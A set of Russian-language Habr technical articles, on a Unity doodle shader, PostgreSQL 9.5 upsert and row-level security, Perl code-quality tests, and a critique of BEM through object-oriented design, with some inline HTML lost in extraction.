**Почему объект не движется со скоростью один метр за кадр?**
Если мы будем прибавлять +1 к компоненту `x` величины `transform.position` в методе `Update` скрипта на языке C#, то увидим, как объект летит вправо со скоростью 1 метр на кадр, то есть примерно 216 километров в час.
Так происходит, потому что вносимые C# изменения меняют саму позицию. В вершинной функции этого не происходит. Шейдер меняет только визуальное представление модели, но не обновляет и не изменяет хранящиеся вершины модели. Именно поэтому добавление +1 к `v.vertex.x` смещает объект на метр только один раз.
**Не забудьте импортировать спрайт как Tight!**
Этот эффект смещает вершины спрайта. Традиционно спрайты импортируются в Unity как четырёхугольники (см. слева на рисунке). Это значит, что у них есть только четыре вершины. Если это так, то двигать можно будет только эти точки, что снижает силу эффекта дудла.
Для более сильного и реалистичного искажения нужно импортировать спрайты, выбрав для параметра **Mesh Type** значение **Tight**, которое превращает их в выпуклую фигуру (см. справа на рисунке).
Это увеличивает количество вершин. Такое не всегда желательно, но именно это нам сейчас и нужно.
Случайное смещение
------------------
Эффект дудла случайным образом смещает позицию каждой вершины. Сэмплирование **случайных чисел** в шейдере всегда было сложной задачей. В основном это вызвано распределённой архитектурой GPU, усложняющей и снижающей эффективность воссоздания алгоритма, используемого в большинстве библиотек (в том числе и `Mathf.Random`).
В посте Ника Кэмана использовалась текстура шума, которая при сэмплировании даёт иллюзию случайности. В контексте вашего проекта это может быть не самым эффективным подходом, потому что в этом случае удваивается количество операций поиска текстур, выполняемых шейдером.
Поэтому в большинстве шейдеров применяются довольно запутанные и хаотичные функции, которые, несмотря на детерминированность, выглядят для нас не имеющими закономерностей. И поскольку они должны быть распределёнными, каждое случайное число должно генерироваться со своим собственным seed. Это отлично нам подходит, потому что позиция каждой вершины должна быть уникальной. Мы можем использовать это, чтобы привязать к каждой вершине случайное число. Реализацию этой функции случайности мы обсудим позже; пока назовём её `random3`.
Мы можем использовать `random3` для генерации случайного смещения каждой вершины. В показанном ниже примере случайные числа масштабируются с помощью свойства `_NoiseScale`, позволяющего контролировать силу смещения.
```
void vert (inout appdata_full v, out Input o)
{
...
float2 noise = random3(v.vertex.xyz).xy * _NoiseScale;
v.vertex.xy += noise;
...
}
```
Теперь нам нужно написать сам код `random3`.
Случайность в шейдере
---------------------
Одна из самых распространённых и знаковых псевдослучайных функций, используемых в шейдерах, взята из статьи 1998 года В. Рея под названием "*On generating random numbers, with help of y= [(a+x)sin(bx)] mod 1*".
```
float rand(float2 co)
{
return fract(sin(dot(co.xy ,float2(12.9898,78.233))) * 43758.5453);
}
```
Эта функция детерминирована (то есть она не *по-настоящему* случайна), но ведёт себя настолько хаотично, что выглядит совершенно случайной. Такие функции называются **псевдослучайными**. Для своего туториала я выбрал более сложную функцию, придуманную [Никитой Миропольским](https://www.shadertoy.com/view/XsX3zB)
Генерирование псевдослучайного числа в шейдере — это очень сложная тема. Если вам интересно узнать о ней больше, то в [The Book of Shaders](https://thebookofshaders.com/10/) есть хорошая глава, посвящённая ей. Кроме того, [Патрисио Гонзалес Виво](https://gist.github.com/patriciogonzalezvivo) собрал большой репозиторий псевдослучайных функций под названием [GLSL noise](https://gist.github.com/patriciogonzalezvivo/670c22f3966e662d2f83), которые можно использовать в шейдерах.
Шаг 3: добавляем время
======================
Благодаря написанному нами коду каждая точка смещается в каждом кадре на одну и ту же величину. Так мы получаем искажённый спрайт, а не эффект дудла. Чтобы исправить это, нужно найти способ менять эффект с течением времени. Один из самых простых способов сделать это — использовать для генерации случайного числа и позицию вершины, и текущее время.
В нашем случае я просто добавил текущее время в секундах `_Time.y` к позиции вершины.
```
float time = float3(_Time.y, 0, 0);
float2 noise = random3(v.vertex.xyz + time).xy * _NoiseScale;
v.vertex.xy += noise;
```
Для более сложных эффектов могут потребоваться более сложные способы добавления времени в уравнение. Но поскольку нас интересует только прерывистый случайный эффект, то двух значений более чем достаточно.
Переключение времени
--------------------
Основная проблема с добавлением `_Time.y` заключается в том, что оно заставляет спрайт анимироваться в каждом кадре. Это для нас нежелательно, потому что большинство нарисованных от руки анимаций имеет низкую частоту кадров. Компонент времени должен быть не непрерывным, а дискретным. Это значит, что если мы хотим отображать пять кадров в секунду, то он должен меняться только пять раз в секунду. То есть время должно быть *привязано* к одной пятой секунды. Единственными допустимыми значениями должны быть , , , , ,  с, и так далее…
Я уже рассматривал привязку в своём блоге, в статье [How To Snap To Grid](https://www.alanzucconi.com/2015/07/22/how-to-snap-to-grid-in-unity3d/). В этой статье я предложил решение задачи привязки позиции объекта на пространственной сетке. Если нам нужно привязать время к временной сетке, то математика, а значит и код, будут теми же.
Показанная ниже функция берёт число `x` и привязывает его к целочисленным значениям, кратным `snap`.
```
inline float snap (float x, float snap)
{
return snap * round(x / snap);
}
```
То есть наш код становится таким:
```
float time = snap(_Time.y, _NoiseSnap);
float2 noise = random3(v.vertex.xyz + float3(time, 0.0, 0.0) ).xy * _NoiseScale;
v.vertex.xy += noise;
```
Заключение
==========
Пакет Unity для этого эффекта можно платно скачать [на Patreon](https://www.patreon.com/posts/26141364).
Дополнительные ресурсы
----------------------
За последние несколько месяцев появилось большое количество игр в стилистике дудлов. Мне кажется, что причиной этого стал успех [Doodle Studio 95!](https://fernandoramallo.itch.io/doodle-studio-95-educational-license) — инструмента для Unity, разработанного [Фернандо Рамальо](https://twitter.com/compositeredfox). Если этот стиль подходит к вашей игре, то рекомендую купить этот потрясающий инструмент. | https://habr.com/ru/post/449540/ | null | ru | null |
# PostgreSQL 9.5: что нового? Часть 1. INSERT… ON CONFLICT DO NOTHING/UPDATE и ROW LEVEL SECURITY
[Часть 2. TABLESAMPLE](http://habrahabr.ru/post/266759/)
[Часть 3. GROUPING SETS, CUBE, ROLLUP](http://habrahabr.ru/post/269849/)
[В 4 квартале 2015 года](http://www.postgresql.org/developer/roadmap/) ожидается релиз PostgreSQL 9.5. Как всегда, новая версия ~~кроме новых багов~~ приносит новые фичи и «плюшки». В данной статье будут рассмотрены две из них, а именно INSERT… ON CONFLICT DO NOTHING/UPDATE и Row-level security. Уже вышла вторая альфа-версия, поэтому самые нетерпеливые могут её установить и попробовать новый функционал.
Скачать можно [тут](http://www.postgresql.org/download/snapshots/)
* [INSERT… ON CONFLICT DO NOTHING/UPDATE](#UPSERT)
* [Row-level security](#RLS)
#### INSERT… ON CONFLICT DO NOTHING/UPDATE
Он же в просторечии UPSERT. Позволяет в случае возникновения конфликта при вставке произвести обновление полей или же проигнорировать ошибку.
То, что раньше предлагалось реализовывать с помощью [хранимой функции](http://www.postgresql.org/docs/current/static/plpgsql-control-structures.html#PLPGSQL-ERROR-TRAPPING), теперь будет доступно из коробки. В выражении **INSERT** можно использовать условие **ON CONFLICT DO NOTHING/UPDATE**. При этом в выражении указывается отдельно **conflict\_target** (по какому полю/условию будет рассматриваться конфликт) и **conflict\_action** (что делать, когда конфликт произошел: **DO NOTHING** или **DO UPDATE SET**).
Полный синтаксис выражения **INSERT** будет [такой](http://www.postgresql.org/docs/devel/static/sql-insert.html):
```
[ WITH [ RECURSIVE ] with_query [, ...] ]
INSERT INTO table_name [ AS alias ] [ ( column_name [, ...] ) ]
{ DEFAULT VALUES | VALUES ( { expression | DEFAULT } [, ...] ) [, ...] | query }
[ ON CONFLICT [ conflict_target ] conflict_action ]
[ RETURNING * | output_expression [ [ AS ] output_name ] [, ...] ]
where conflict_target can be one of:
( { column_name_index | ( expression_index ) } [ COLLATE collation ] [ opclass ] [, ...] ) [ WHERE index_predicate ]
ON CONSTRAINT constraint_name
and conflict_action is one of:
DO NOTHING
DO UPDATE SET { column_name = { expression | DEFAULT } |
( column_name [, ...] ) = ( { expression | DEFAULT } [, ...] ) |
( column_name [, ...] ) = ( sub-SELECT )
} [, ...]
[ WHERE condition ]
```
Для нас самое интересное начинается после ON CONFLICT.
Давайте посмотрим на примерах. Создадим таблицу, в которой будут лежать учетные данные неких персон:
```
CREATE TABLE account
(
id bigserial,
name varchar,
surname varchar,
address varchar,
PRIMARY KEY (id),
CONSTRAINT unique_person UNIQUE (name, surname, address)
);
Query returned successfully with no result in 31 ms.
```
Выполним запрос на вставку
```
INSERT INTO account (id, name, surname, address)
VALUES (1, 'Вася', 'Пупкин', 'Москва, Кремль')
ON CONFLICT (id) DO NOTHING;
Query returned successfully: one row affected, 12 ms execution time.
SELECT * FROM ACCOUNT;
```
| id | name | surname | address |
| --- | --- | --- | --- |
| 1 | Вася | Пупкин | Москва, Кремль |
Здесь **conflict\_target** — это **(id)**, а **conflict\_action** — **DO NOTHING**.
Если попытаться выполнить этот запрос второй раз, то вставки не произойдет, при этом и не выдаст никакого сообщения об ошибке:
```
Query returned successfully: 0 rows affected, 12 ms execution time.
```
Если бы мы не указали **ON CONFLICT (id) DO NOTHING**, то получили бы ошибку:
```
INSERT INTO account (id, name, surname, address)
VALUES (1, 'Вася', 'Пупкин', 'Москва, Кремль');
********** Error **********
ERROR: duplicate key value violates unique constraint "account_pkey"
SQL state: 23505
Detail: Key (id)=(1) already exists.
```
Такое же поведение (как и у **ON CONFLICT (id) DO NOTHING**) будет у запроса:
```
INSERT INTO account (id, name, surname, address)
VALUES (DEFAULT, 'Вася', 'Пупкин', 'Москва, Кремль')
ON CONFLICT (name, surname, address) DO NOTHING;
Query returned successfully: 0 rows affected, 12 ms execution time.
```
В нем мы уже берем значение **id** по умолчанию (из последовательности), но указываем другой **conflict\_target** — по трем полям, на которые наложено ограничение уникальности.
Как упоминалось выше, также можно указать **conflict\_target** с помощью конструкции **ON CONSTRAINT**, указав непосредственно имя ограничения:
```
INSERT INTO account (id, name, surname, address)
VALUES (DEFAULT, 'Вася', 'Пупкин', 'Москва, Кремль')
ON CONFLICT ON CONSTRAINT unique_person DO NOTHING;
Query returned successfully: 0 rows affected, 11 ms execution time.
```
Особенно полезно это в случае, если у вас есть исключающее ограничение (exclusion constraint), к которому вы можете обратиться только по имени, а не по набору колонок, как в случае с ограничением уникальности.
Если у вас построен частичный уникальный индекс, то это также можно указать в условии. Пусть в нашей таблице уникальными сочетания фамилия+адрес будут только у людей с именем Вася:
```
ALTER TABLE account DROP CONSTRAINT unique_person;
CREATE UNIQUE INDEX unique_vasya ON account (surname, address) WHERE name='Вася';
```
Тогда мы можем написать такой запрос:
```
INSERT INTO account (id, name, surname, address)
VALUES (DEFAULT, 'Вася', 'Пупкин', 'Москва, Кремль')
ON CONFLICT (surname, address) WHERE name='Вася' DO NOTHING;
Query returned successfully: 0 rows affected, 12 ms execution time.
```
Ну и, наконец, если вы хотите, чтобы **DO NOTHING** срабатывал при любом конфликте уникальности/исключения при вставке, то это можно записать следующим образом:
```
INSERT INTO account (id, name, surname, address)
VALUES (DEFAULT, 'Вася', 'Пупкин', 'Москва, Кремль')
ON CONFLICT DO NOTHING;
Query returned successfully: 0 rows affected, 12 ms execution time.
```
Стоит заметить, что задать несколько **conflict\_action** невозможно, поэтому если указан один из них, а сработает другой, то будет ошибка при вставке:
```
INSERT INTO account (id, name, surname, address)
VALUES (DEFAULT, 'Вася', 'Пупкин', 'Москва, Кремль')
ON CONFLICT (id) DO NOTHING;
********** Error **********
ERROR: duplicate key value violates unique constraint "unique_person"
SQL state: 23505
Detail: Key (name, surname, address)=(Вася, Пупкин, Москва, Кремль) already exists.
```
Перейдем к возможностям **DO UPDATE SET**.
Для **DO UPDATE SET** в отличие от **DO NOTHING** указание **conflict\_action** обязательно.
Конструкция **DO UPDATE SET** обновляет поля, которые в ней указаны. Значения этих полей могут быть заданы явно, заданы по умолчанию, получены из подзапроса или браться из специального выражения **EXCLUDED**, из которого можно взять данные, которые изначально были предложены для вставки.
```
INSERT INTO account (id, name, surname, address)
VALUES (1, 'Петя', 'Петров', 'Москва, Кремль')
ON CONFLICT (id)
DO UPDATE SET
name='Петя',
surname='Петров';
Query returned successfully: one row affected, 11 ms execution time.
SELECT * FROM ACCOUNT;
```
| id | name | surname | address |
| --- | --- | --- | --- |
| 1 | Петя | Петров | Москва, Кремль |
```
INSERT INTO account AS a (id, name, surname, address)
VALUES (1, 'Петя', 'Петров', 'Москва, Кремль')
ON CONFLICT (id)
DO UPDATE SET
name=EXCLUDED.name || ' (бывший ' || a.name || ')',
surname=EXCLUDED.surname || ' (бывший ' || a.surname || ')';
Query returned successfully: one row affected, 13 ms execution time.
SELECT * FROM ACCOUNT;
```
| id | name | surname | address |
| --- | --- | --- | --- |
| 1 | Петя (бывший Вася) | Петров (бывший Пупкин) | Москва, Кремль |
```
INSERT INTO account (id, name, surname, address)
VALUES (1, 'Вася', 'Пупкин', 'Москва, Кремль')
ON CONFLICT (id) DO UPDATE SET
name=DEFAULT,
surname=DEFAULT;
Query returned successfully: one row affected, 11 ms execution time.
SELECT * FROM ACCOUNT;
```
| id | name | surname | address |
| --- | --- | --- | --- |
| 1 | NULL | NULL | Москва, Кремль |
```
INSERT INTO account (id, name, surname, address)
VALUES (1, 'Вася', 'Пупкин', 'Москва, Кремль')
ON CONFLICT (id) DO UPDATE SET
name=(SELECT some_field FROM other_table LIMIT 1);
```
Также может быть использовано условие **WHERE**. Например, мы хотим, чтобы поле **name** не обновлялось, если в поле **address** в строке таблицы уже содержится текст «Кремль», в противном же случае — обнловлялось:
```
INSERT INTO account AS a (id, name, surname, address)
VALUES (1, 'Вася', 'Пупкин', 'Москва, Кремль')
ON CONFLICT (id) DO UPDATE SET
name=EXCLUDED.name
WHERE a.name not like '%Кремль%';
Query returned successfully: 0 rows affected, 12 ms execution time.
```
А если хотим, чтобы поле **name** не обновлялось, если в поле **address** во вставляемых данных содержится текст «Кремль», в противном же случае — обнловлялось:
```
INSERT INTO account AS a (id, name, surname, address)
VALUES (1, 'Вася', 'Пупкин', 'Москва, Красная площадь')
ON CONFLICT (id) DO UPDATE SET
name=EXCLUDED.name
WHERE EXCLUDED.name not like '%Кремль%';
Query returned successfully: one row affected, 11 ms execution time.
SELECT * FROM ACCOUNT
```
| id | name | surname | address |
| --- | --- | --- | --- |
| 1 | Вася | NULL | Москва, Кремль |
#### ROW LEVEL SECURITY
Row-level security или безопасность на уровне строк — механизм разграничения доступа к информации к БД, позволяющий ограничить доступ пользователей к отдельным строкам в таблицах.
Данная функциональность может быть интересна тем, кто использует базы с большим числом пользователей.
Работает это следующим образом: описываются правила для конкретной таблицы, согласно которым ограничивается доступ к конкретным строкам при выполнении определнных команд, с помощью выражения **CREATE POLICY**. Каждое правило содержит некое логическое выражение, которое должно быть истинным, чтобы строка была видна в запросе. Затем правила активируются с помощью выражения **ALTER TABLE… ENABLE ROW LEVEL SECURITY**. Затем при попытке доступа, например при запросе **SELECT**, проверяется, имеет ли пользователь право на доступ к конкретной строке и если нет, то они ему не показываются. Суперпользователь по умолчанию может видеть все строки, так как у него по умолчанию выставлен флаг BYPASSRLS, который означает, что для данной роли проверки осуществляться не будут.
Синтаксис выражения **CREATE POLICY** [такой](http://www.postgresql.org/docs/9.5/static/sql-createpolicy.html):
```
CREATE POLICY name ON table_name
[ FOR { ALL | SELECT | INSERT | UPDATE | DELETE } ]
[ TO { role_name | PUBLIC | CURRENT_USER | SESSION_USER } [, ...] ]
[ USING ( using_expression ) ]
[ WITH CHECK ( check_expression ) ]
```
Правила создаются для конкретных таблиц, поэтому в БД может быть несколько правил с одним и тем же именем для различных таблиц.
После выражения **FOR** указывается, для каких именно запросов применяется правило, по умолчанию — **ALL**, то есть для всех запросов.
После **TO** — для каких ролей, по умолчанию — **PUBLIC**, то есть для всех ролей.
Далее, в выражении **USING** указывается булевское выражение, которое должно быть true, чтобы конкретная строка была видна пользователю в запросах, которые используют уже имеющиеся данные (**SELECT**, **UPDATE**, **DELETE**). Если булевское выражение вернуло null или false, то строка видна не будет.
В выражении **WITH CHECK** указывается булевское выражение, которое должно быть true, чтобы запрос, добавляющий или изменяющий данные (**INSERT** или **UPDATE**), прошел успешно. В случае, если булевское выражение вернет null или false, то будет ошибка. Выражение **WITH CHECK** выполняется после триггеров **BEFORE** (если они присутствуют) и до любых других проверок. Поэтому, если триггер **BEFORE** модифицирует строку таким образом, что условие не вернет true, будет ошибка. Для успешного выполнения **UPDATE** необходимо, чтобы оба условия вернули true, в том числе, если в запросе **INSERT… ON CONFILCT DO UPDATE** произойдет конфликт и запрос попытается модифицировать данные. Если выражение **WITH CHECK** опущено, вместо него будет подставляться условие из выражения **USING**.
В условиях нельзя использовать аггрегирующие или оконные функции.
Обычно, требуется управлять доступом, исходя из того, какой пользователь БД запрашивает данные, поэтому нам пригодятся функции, возвращающие информацию о системе ([System Information Functions](http://www.postgresql.org/docs/9.5/static/functions-info.html)).
Перейдем к примерам:
Добавим в таблицу **account** поле **db\_user**, заполним это поле для уже существующей записи и добавим новые записи:
```
ALTER TABLE account ADD COLUMN db_user varchar;
Query returned successfully with no result in 16 ms.
UPDATE account SET db_user='pupkin' WHERE surname='Пупкин';
INSERT INTO account (name, surname, address, db_user)
VALUES ('Петр', 'Петров', 'Москва, Красная площадь', 'petrov'),
('Иван', 'Сидоров', 'Санкт-Петербург, Зимний дворец', 'sidorov');
Query returned successfully: 2 rows affected, 31 ms execution time.
```
Создадим роли:
```
CREATE ROLE pupkin WITH LOGIN PASSWORD 'pupkin';
CREATE ROLE petrov WITH LOGIN PASSWORD 'petrov';
Query returned successfully with no result in 31 ms.
```
Создадим правило и включим RLS на таблице:
```
CREATE POLICY select_self ON account
FOR SELECT
USING (db_user=current_user);
ALTER TABLE account ENABLE ROW LEVEL SECURITY;
Query returned successfully with no result in 12 ms.
```
В данном запросе мы создали правило, согласно которому, пользователю в запросе **SELECT** будут видны только те строки, в которых значение поля **db\_user** совпадает с именем текущего пользователя БД.
Выполним запрос от пользователя postgres:
```
SELECT * FROM account
```
| id | name | surname | address | db\_user |
| --- | --- | --- | --- | --- |
| 1 | Вася | Пупкин | Москва, Кремль | pupkin |
| 5 | Петр | Петров | Москва, Красная площадь | petrov |
| 6 | Иван | Сидоров | Санкт-Петербург, Зимний дворец | sidorov |
Выполним тот же запрос от пользователя pupkin:
| id | name | surname | address | db\_user |
| --- | --- | --- | --- | --- |
| 1 | Вася | Пупкин | Москва, Кремль | pupkin |
Создадим правило, по которому строки с фамилией «Пупкин» может вставлять только пользователь pupkin:
```
CREATE POLICY insert_update_pupkin ON account
WITH CHECK (surname<>'Пупкин' OR current_user='pupkin')
```
Попробуем выполнить запрос от пользователя pupkin:
```
INSERT INTO account (name, surname, address)
VALUES ('Дмитрий', 'Пупкин', 'Киев, Майдан')
Query returned successfully: one row affected, 13 ms execution time.
```
Проверим:
```
select * from account;
```
| id | name | surname | address | db\_user |
| --- | --- | --- | --- | --- |
| 1 | Вася | Пупкин | Москва, Кремль | pupkin |
Оп-па! Мы забыли указать поле **db\_user** и запись, которую мы вставили, мы уже не увидим. Что ж, давайте исправим такую логику с помощью триггера, в котором будем заполнять поле **db\_user** именем текущего пользователя:
```
CREATE OR REPLACE FUNCTION fill_db_user() RETURNS TRIGGER AS
$BODY$
BEGIN
NEW.db_user = current_user;
RETURN NEW;
END;
$BODY$
LANGUAGE plpgsql VOLATILE;
CREATE TRIGGER fill_db_user BEFORE INSERT ON account
FOR EACH ROW EXECUTE PROCEDURE fill_db_user();
```
Пробуем снова:
```
INSERT INTO account (name, surname, address)
VALUES ('Иван', 'Пупкин', 'Киев, Майдан');
select * from account;
```
| id | name | surname | address | db\_user |
| --- | --- | --- | --- | --- |
| 1 | Вася | Пупкин | Москва, Кремль | pupkin |
| 21 | Иван | Пупкин | Киев, Майдан | pupkin |
Попробуем изменить данные о Иване Пупкине пользователем petrov:
```
UPDATE account SET db_user='petrov'
WHERE id=21
Query returned successfully: 0 rows affected, 13 ms execution time.
```
Как видим, данные не изменились, это произошло потому, что условие **USING** из правила **select\_self** не выполнилось.
Если одному запросу соответствует несколько правил, то они объединяются через **OR**.
Стоит отметить, что правила применяются только при явным запросам к таблицам и не применяются при проверках, которые осуществляет система (constaints, foreign keys и т.п.). Это означает, что пользователь с помощью запросов, определить, что какое-либо значение существует в БД. Например, если пользователь может осуществлять вставку в таблицу, которая ссылается на другую таблицу, из которой он не может делать **SELECT**. В таком случае, он может попытаться сделать INSERT в первую таблицу и по результату (произошла вставка или же произошла ошибка при проверке ссылочной целостности) определить, существует ли значение во второй таблице.
Вариантов использования row-level security можно придумать множество:
* одну и ту же базу используют несколько приложений с разным функционалом
* несколько инстансов одного и того же приложения с разными правами
* доступ по ролям или группам пользователей
* и т.д.
В следующих частях я планирую рассмотреть такие новые фичи PostgreSQL 9.5, как:
* [Часть 2. TABLESAMPLE](http://habrahabr.ru/post/266759/)
* SKIP LOCKED
* BRIN-индексы
* GROUPING SETS, CUBE, ROLLUP
* Новые функции для JSONB
* IMPORT FOREIGN SCHEMA
* и другие | https://habr.com/ru/post/264281/ | null | ru | null |
# Нефункциональное модульное тестирование — «главное чтобы блестел». Часть 2
В прошлом году я написал [небольшую заметку](http://community.livejournal.com/ru_perl/383519.html) о нефункциональном тестировании — т.е. о тестах пытающихся выявить уродливый и сложный в сопровождении код. Конечно такие тесты не гарантируют идеального кода, но какой-то минимальный уровень качества обеспечат т.к. несмотря на очевидность требований этих тестов многие их игнорируют и потом приходиться разбираться в процедурах на 5 000 строк.
Заметка в ЖЖ не вызвала ожидаемой мной обратной связи (хотелось бы знать что я упустил), поэтому несмотря на сопротивление хабра решил выложить продолжение тут (спасибо людям добавившим кармы).
Со времени публикации первой заметки произошли следующие изменения:
— добавил тест на цикломатическую сложность и количество строк блока кода (04\_complexity.t ), для цикломатической сложности максимум выставил в 20 (некоторые предлагают 30, но это каждый сам корректирует — рост вероятности ошибочного фикса см. [тут](http://www.aivosto.com/project/help/pm-complexity.html)), максимальное число строк в блоке выставил наобум — 50, правьте по себе, но помните — если в блоке есть вложенные ветвления и его нужно скроллить на экране, то это уже неэффективно.
— добавил тест на наличие use warnings (05\_warnings.t)
— варнинги в 08-code-coverage.t появляются у меня только на FreeBSD, на Ubuntu тест нормально отрабатывает, но пришлось уменьшить величину покрытия
— полученный результат выложил на [github](https://github.com/worldmind/perl-test-code-quality-template/)
`git clone git@github.com:worldmind/perl-test-code-quality-template.git`
Что мы знаем если все тесты прошли успешно?
Мы знаем что:
— код компилируется без ошибок
— включены строгие прагмы
— не осталось пометок FIXME
— [Perl::Critic](http://search.cpan.org/perldoc?Perl::Critic) считает что наш код соответствует Perl Best Practice
— цикломатическая сложность и число строк функции (или кода вне функции) не превышают пороговых значений
— в коде есть POD, он корректен и покрывает все функции
— определённый процент кода покрыт тестами
— состав дистрибутива соответствует формальным требованиям CPAN
Надо бы ещё проверять максимальную вложенность условий (5) и циклов (2) и возможно ещё какие-нибудь [метрики кода](http://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D1%80%D0%B8%D0%BA%D0%B0_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%BD%D0%BE%D0%B3%D0%BE_%D0%BE%D0%B1%D0%B5%D1%81%D0%BF%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D1%8F), но готового модуля пока не нашёл, возможно нужно писать.
upd. уже есть патч от [cub.uanic](https://github.com/cub-uanic), завтра гляну — вроде полезный | https://habr.com/ru/post/111655/ | null | ru | null |
# Объектно-ориентированный дизайн… в CSS
Предупрежу заранее, что я совершенно не считаю себя экспертом HTML/CSS/JS. Но, как архитектору, мне всегда была интересна организация и систематизация кода в самых разных его проявлениях, в том числе и представленных в виде CSS. Особенно сильно этот интерес был подогрет БЭМом, при первом знакомстве с которым подсознание отреагировало когнитивным дискомфортом. А поскольку БЭМ-стиль в проектах у меня стал появляться все чаще, я почувствовал острую необходимость осмыслить, наконец, свое отношение к организации стилей. Таким образом и появился данный топик-размышление, топик-дискуссия. Я понимаю, что взялся за пограничную задачу, поскольку далеко не всем верстальщикам знакомы тонкости объектно-ориентированного дизайна, а большинство архитекторов не написали ни одного CSS-стиля. И, как результат, мне пришлось неуклюже балансировать, чтобы было понятно всем. Но 'этот риск еще больше подогрел мой интерес к теме :)
#### Вопросы к БЭМ
Начать я решил с того, что мне было не совсем понятно в БЭМ:
1. Многие считают, что техника априори верна всегда и везде, поскольку за ней стоит Яндекс. Почему то, что подходит крупной компании с гигантским штатом и небольшим количеством однотипных проектов должно так же хорошо работать, скажем, в небольшой команде, которая осуществляет заказную разработку самых разнообразных сайтов? Возьмем в качестве примера подходы из jQueryUI, KendoUI и т.п. Они растиражированы на сотни тысяч проектов и в этом плане имеют гораздо большую зрелость. Причем сам Яндекс на сайте bem.info ясно обрисовывает условия применения, но многие даже не доходят до этого параграфа, ограничиваясь первыми строками и успокоительным: «это же придумали в Яндексе».
2. Почему считается что принудительная контекстная независимость — это хорошо и тут же вводится эта самая зависимость элемента от блока, если пользоваться терминологией БЭМ? Предположим, я хочу, чтобы все кнопки на сайте у меня выглядели не так, как это хочется автору блока, а в соответствии с единым, продуманным стилем. Если это некоторая стандартная кнопка, то в одном и том же контексте она должна выглядеть одинаково. В другом, как раз, может быть разной. В сайдбаре — поменьше, в теле страницы — побольше, на большом экране — текстом и иконкой, на смартфоне — иконкой. Но если это стандартная кнопка в сайдбаре, то в таких ситуация она должна и выглядеть должна стандартно. Здесь под стандартом подразумевается удачное решение, которое нашли дизайнер вместе с UX-специалистом, а не верстальщик отдельно взятого блока.
Чтобы проиллюстрировать свои сомнения я взял первые попавшиеся формы ввода с сайта Яндекса: создание почтового ящика, регистрация и фидбека.
Не знаю, кто и что увидел на этих картинках, а я вижу полную анархию. Дизайном этих форм занимались, очевидно, не те, кто должен заниматься, а лепили авторы блоков так, как каждый из них это видит. Почему единый стандарт на то, как должны выглядеть поля ввода и кнопки в формах — это плохо?
Яндекс на сайте bem.info пишет: «Каждый новый проект или элемент интерфейса не должны писаться с нуля. Если где-то внутри компании уже выполнялась похожая задача, нужно максимально повторно использовать полученный в результате код. У кода не должно быть контекстной зависимости, его нужно уметь легко переносить в другое место». Давайте посмотрим на пример такого реюзинга.
Два блока логина на одной странице. Если бы это делал я, неправильным способом, то написал бы модуль единожды, а потом, в зависимости от контекста, немного поправил стили, чтобы в сайдбаре он выглядел уменьшенным. Здесь, же я вижу два разных модуля и двух разных авторов. Один считает, что надо «вспомнить пароль», другой предлагает его «напомнить». Первый считает, что линк «зарегистрироваться» не является частью этого функционального блока и вынес его за визуальный контур, второй с ним не согласен. Они расходятся даже в том, как озаглавить этот блок. Автор попап-версии резонного полагает, что пользователь должен осуществить «вход», минималист же хочет, чтобы посетитель сделал «маркет». Они даже реализовывали по-разному, один — табличной версткой, другой — слоями. Повторного использования — ноль. Зато оба использовали БЭМ.
3. Почему отсутствие лаконичности в названиях классов считать преимуществом? И как может нравится это — ? В последней верстке, которую я лишил БЭМ объем страницы упал в два раза. Я в данном случае не говорю, что это достаточная причина отказаться от БЭМ и смысл появления этого оверхеда понятен. Просто констатирую, что за такой раздутый синтаксис с низкой энтропией я бы снял балл.
4. Почему нужно отказывать от многих возможностей CSS? Будь то селекторы с использованием идентификаторов, контекстов и т.п.
Первая реакция на БЭМ была такова, что я расшифровал эту аббревиатуру как Бардак Эвентуальный Метастазирующий. Но все эти недовольства попахивали просто очередным частным мнением, которое не очень убеждало меня самого, что уж говорить об убедительности для других. И тогда я призвал себя осмыслить саму концепцию классов CSS в архитектурном ключе, как мне привычней.
#### Design by contract
Начал я системной роли классов. Частное, как правило, является менее важным, чем целое, поскольку последнее — суть их сумма. Так и здесь, участие CSS-классов во взаимодействии с остальной частью системы может быть гораздо важней, чем любые улучшения в области одной только верстки. А участие их здесь весьма серьезное. По сути, названия классов — это единственная крепкая связь между HTML и JS. Основная роль JS, так или иначе, иметь дело с DOM-моделью. А какой самый лучший способ добраться до нужных узлов? Селекторы с участием имен классов. Все остальные варианты не масштабируются. Вы обходите childNodes/parentNode? Завтра там может оказаться враппер и код перестанет работать. Используете названия тегов? Завтра станет , *станет *,
```
заменят на и скрипты перестанут работать. Имя класса — это тот фундаментальный интерфейс взаимодействия, который мы можем поставить в HTML и использовать в JS не боясь за дальнейшую эволюцию системы.
Я здесь намеренно употребил слово «интерфейс», поскольку хотел провести аналогию с объектно-ориентированными практиками. Надо же как-то отрабатывать заголовок. В свое время Бертран Мейер в рамках разработки языка Eiffel озвучил парадигму проектирования Design by contract. Я не буду сильно углубляться в ее детали, ограничусь только ключевой концепцией. Объекты несут бремя «контрактных» обязательств и взаимодействуют между собой через эти самые контракты. Например, есть некий виджет, который может принимать другие объекты drag'n'drop-ом. Он всем сообщает: «я могу это, для этой цели у меня есть, скажем, функция CanDrop, которой вы передаете в качестве аргумента объект, а я возвращаю логическое значение, принимаю такого типа объекты или нет». Таким образом в его контракте прописано наличие этой функции, ее сигнатура и суть. Системе абсолютно не важно, взял на себя этот контракт виджет для аплоада файлов, дерево с возможностью перетаскивать узлы или это такая продвинутая корзина товаров, куда их можно переносить из каталога мышкой. При операции drag'n'drop-а ей достаточно только знать о том, что некий виджет несет эти контрактные обязательства. И когда вы потащите файл в корзину товаров, она вызовет метод CanDrop корзины получит фейл и просигнализирует вам о невозможности данной операции.
В дальнейшем суть контрактного подхода активно развивалась и большая часть современных паттернов проектирования основывается на использовании интерфейсов объектов. А интерфейс объекта — суть и есть контракт, который перечисляет все методы, которые данный объект может выполнить. Так что речь идет о весьма зрелом и знакомом многим программистам подходе.
